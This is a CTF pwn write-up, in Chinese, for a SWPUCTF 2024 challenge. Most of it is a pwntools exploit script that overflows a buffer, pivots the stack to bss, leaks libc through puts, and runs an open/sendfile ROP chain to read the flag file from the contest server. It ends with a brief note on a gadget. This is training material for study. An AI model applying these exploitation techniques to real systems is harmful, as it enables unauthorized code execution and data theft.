Problem: [SWPUCTF 2024 秋季新生赛]不可名状的东西
思路
- 解题大致思路
EXP
from pwn import *
import sys
#from LibcSearcher import *
file_path = "./level1"
remote_host = "node6.anna.nssctf.cn"
remote_port = 20915
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)
libc=ELF("./libc.so.6")
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
gdb.attach(p, "b* 0x40120F")
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
lea=0x4011ef
ret=0x40120f
rdi=0x4011c5
bss=0x404200
rbp=0x40115d
pay=b"a"*0x80+p64(bss+0x80)+p64(lea)
leave=0x40120F
p.recvuntil(b"name!")
p.send(pay)
pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x80+0x200)+p64(lea)
pay=pay.ljust(0x80,b'\x00')
pay+=p64(bss-8)+p64(leave)
p.send(pay)
puts = u64(p.recvuntil(b"\x7f")[-6:] + b"\x00\x00")
print(b"puts===========================" + hex(puts).encode())
libc_base = puts - libc.sym["puts"]
rsi=libc_base +0x2be51
rdx=libc_base +0x5722
rcx=libc_base +0x3d1ee
sendfile = libc_base + libc.sym['sendfile']
open= libc_base + libc.sym['open']
pop_rdx_rbx = libc_base + 0x904a9
payload3 = b"./flag\x00\x00" + p64(rdi) + p64(bss + 0x200) + p64(rsi) + p64(0) + p64(open)
payload3 += p64(rdi) + p64(1) + p64(rsi) + p64(3) + p64(pop_rdx_rbx) + p64(0)*2 + p64(rcx) + p64(0x40) + p64(sendfile)
payload3 += p64(bss + 0x200) + p64(leave)
p.send(payload3)
p.interactive()
总结
pop rdx ; ret 0x13 这个指令序列的完整含义是:
将栈顶的一个值弹出到 rdx 寄存器中 (pop rdx)。
将栈顶的下一个值弹出作为返回地址,并跳转到该地址 (ret)。
在跳转之前,将栈指针(rsp)增加 0x13 个字节,从而清理掉栈上的额外数据 (0x13)
不能直接用
